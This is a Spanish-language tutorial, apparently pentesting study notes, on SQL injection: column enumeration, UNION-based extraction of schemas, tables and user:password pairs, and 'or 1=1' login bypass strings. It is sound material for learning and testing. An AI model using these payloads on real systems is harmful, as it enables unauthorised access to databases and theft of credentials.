SQLI - Inyecciones SQL
web hacking
el ataque de SQLi consiste en inyectar instrucciones de SQL maliciosas a una base de datos para conseguir información del sitio web, implica controlar la base de datos para robar la información confidencial que se encuentra en las mismas
Sintaxis en las SQLi
la sintaxis cambia dependiendo del gestor de bases de datos que se use en el objetivo, no totalmente pero si una parte. Los gestores mas usados son:
MySQL: Es una de las opciones más populares y ampliamente utilizadas debido a su fiabilidad, velocidad y facilidad de uso.
PostgreSQL: Destaca por su cumplimiento avanzado de SQL, extensibilidad y robustez.
SQL Server / Microsoft SQL server: Desarrollada por Microsoft, es una opción común para soluciones empresariales.
Oracle: Es una base de datos líder en el mercado, especialmente en entornos empresariales y sistemas mainframe.
DB2 (IBM): Es otra base de datos de IBM, popular en sistemas mainframe y entornos empresariales.
Guía para no perderte en los cambios de sintaxis en cada tipo de gestor de bases de datos:
importante recordar que, el comentario en una SQLi puede ser — -, --, o #
se vera mas a detalle mas adelante
identificar versión y motor (gestionador en uso) en las bases de datos
Oracle
' union select 'a', banner from v$version-- -debemos enumerar primero las columnas y luego agregar los 'a' u otras cadenas necesarias, Esto es fundamental, porque el número de columnas en la parte UNION SELECT debe coincidir con la consulta original.
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
# y asi consecutivamentedebemos enumerar Hasta que da error. El número justo antes del error es la cantidad de columnas.
Luego, puedes usar:
' UNION SELECT 1,2-- -
' UNION SELECT 1,2,3-- -Y ver qué números aparecen en pantalla. Esas son las columnas visibles (renderizadas en la web). Ahí es donde puedes inyectar datos útiles como @@version o banner.
Cuando conoces la cantidad de columnas, rellenas con valores como 'a', null o numero de columna, y en las columnas visibles colocas los datos que quieres extraer.
' UNION SELECT 'a', banner FROM v$version-- -Aquí 'a' es solo para rellenar la primera columna, y banner es el valor que nos interesa mostrar.
'a'puede usarse si la columna espera texto.Usa
nullsi no te importa el valor y no quieres errores de tipo de datos.
MySQL y MSSQL (Microsoft SQL server)
como en el anterior, iniciamos fuzzeando las columnas desde la URL
example.com/ejemplo?categoria=gatos' order by 1-- -
example.com/ejemplo?categoria=gatos' order by 2-- -
y asi consecutivamentecuando terminemos esa tarea, podremos seguir:
/ejemplo?categoria=gatos' UNION SELECT @@version, 'a'-- -@@versionnos indica la versión en MySQL, y como en este ejemplo solo descubrimos 2 columnas ponemos una cadena de texto o un NULL, como prefieras + lo de@@version
SQL injection lógica
en este tipo de inyección el atacante usa condiciones lógicas (booleanas) o respuestas distintas del servidor para inferir información de la base de datos cuando no recibe datos directamente. Es una forma de blind SQLi porque el atacante no ve resultados SQL directos, sino que observa diferencias en el comportamiento. en su forma básica, se utiliza la siguiente condición:
' or 1=1-- -los dobles guiones son un comentario el cual termina la query para no dejar errores, depende del gestor de bases de datos como es el comentario (#, — -, — )
esto siempre devuelve verdadero, por lo que podemos utilizarlo para bypassear un login, por ejemplo:
admin' or 1=1-- -
# y de password ya podemos introducir cualquier cosa
o
admin
password: cualquiercosa_aqui' or 1=1-- -no solo es útil en estos casos, también podemos utilizarla para descubrir listas completas u objetos ocultos por parámetros vulnerables.
SQL injection in-band (basada en uniones)
la SQL injection basada en uniones es la mas común y simple cuando se trata de enumerar la información en una base de datos, veremos como empezar a enumerar desde 0
debemos hacer fuzzing de las columnas en la base de datos que se esta utilizando actualmente para poder estructurar las queries
' order by 1-- -
' order by 2-- -
' order by 3-- -
y asi consecutivamente..los dobles guiones son un comentario el cual termina la query para no dejar errores, depende del gestor de bases de datos como es el comentario (#, — -, — )
ya que tenemos el numero de columnas (en este ejemplo 2) vamos a enumerar las bases de datos existentes
al enumerar las columnas ahora podemos enumerar las bases de datos existentes, en este caso suponemos que hay dos columnas por lo que ponemos algún valor como
NULL, una cadena de texto o el numero de la columna correspondiente hasta llegar a la parte donde ponemos la siguiente instrucción:
' union select NULL, schema_name from information_schema.schemata # lista BDs existentesschema_name: nombre de bases de datosinformation_schema: esta es una base de datos que integra información sobre el propio sistema de bases de datos
information_schemano se usa en bases de datos como Oracle
con la instrucción anterior, no siempre se nos listan todas las bases de datos:
es posible que solo muestre una
es posible que no te las muestre porque es mucha información la cual no es capaz de listar
para esto, usamos los limits:
La cláusula
LIMITen SQL se usa para restringir el número de filas devueltas por una consulta. Se agrega al final de la sentenciaSELECTy se utiliza para limitar la cantidad de resultados que se muestran, ya sea desde el inicio o a partir de una posición específica.
ponemos NULL para representar el 1, ya que son 2 columnas, y al siguiente nuestra instrucción donde pedimos los nombres de las bases de datos.
ahora si, enumeremos las tablas de la base de datos que queramos ver
' union select NULL, table_name from information_schema.tables where table_schema='nombre_de_bd_aqui'-- -table_schema: aquí decimos algo como "donde el nombre de la base de datos es"
ya que tenemos la información anterior, podremos enumerar columnas:
' union select NULL, column_name from information_schema.columns where table_schema='nombre de la bd_aqui' and table_name='nombre_de_tabla_aqui'-- -ahora que contamos con las columnas utilizamos la siguiente query para ver:
' union select columna1, columna2 from nombre_de_bd.nombre_de_tabla-- -ya que tenemos columnas, no usamos NULL ni lo demas.
pongamos de ejemplo que queremos ver los datos dividos por algo, como cuando estamos consiguiendo users y passwords, para esto podemos usar la siguiente query:
' union select NULL,group_concat(columna1,':',columna2) from nombre_de_bd.nombre_de_tabla-- -en el mejor de los casos, esta query debería ser aceptada, si no es así en vez de usar group_concat, usamos concat:
' union select NULL,concat(columna1,':',columna2) from nombre_de_bd.nombre_de_tabla-- -group_concat: concatena valores de las columnas
también pueden influir los 2 puntos, por lo que es preferible ponerlo en hexadecimal sin las comillas o viceversa (osea texto no hexadecimal):
0x3a
siempre hacemos la inyección así:
?vulnerable=si' inyeccion aquipero podemos hacerlo así también sin completar el parámetro:
?vulnerable=' inyeccion aquiesto evita que se muestre información de la web que no ocupamos que no sea la que nos da la inyección.
para encontrar columnas que nos permitan implementar strings / plasmar texto en la respuesta de la query podemos hacer:
' union select NULL,NULL,'TEXTO'-- -nos ayuda a identificar qué columnas son visibles. También como hemos visto anteriormente lo podemos usar para detectar el numero de columnas en vez de usar NULL o números. Como dije anteriormente, no todas las columnas aceptan strings por lo que hay que fuzzear
aqui suponemos que hay 3 columnas, y puede ser en cualquier columna donde podemos buscar pero en este caso lo hacemos en la ultima
Operadores lógicos SQL explicados para el uso en SQLi
AND
Devuelve TRUE si ambas condiciones son verdaderas
' OR 1=1 AND 1=1--
OR
Devuelve TRUE si al menos una condición es verdadera
' OR 1=1--
NOT
Niega la condición
' OR NOT 1=2--
=
Igualdad
user='admin'
!= o <>
Diferente de
user!='admin'
>
Mayor que
id > 3
<
Menor que
id < 10
>=
Mayor o igual
id >= 5
<=
Menor o igual
id <= 100
BETWEEN
Comprueba si un valor está entre dos valores
id BETWEEN 1 AND 10
IN
Comprueba si un valor está en una lista
user IN ('admin', 'root')
LIKE
Comparación con patrones (comodines % y _)
user LIKE 'adm%'
IS NULL
Verifica si un campo está vacío
email IS NULL
IS NOT NULL
Verifica si un campo no está vacío
email IS NOT NULL
Last updated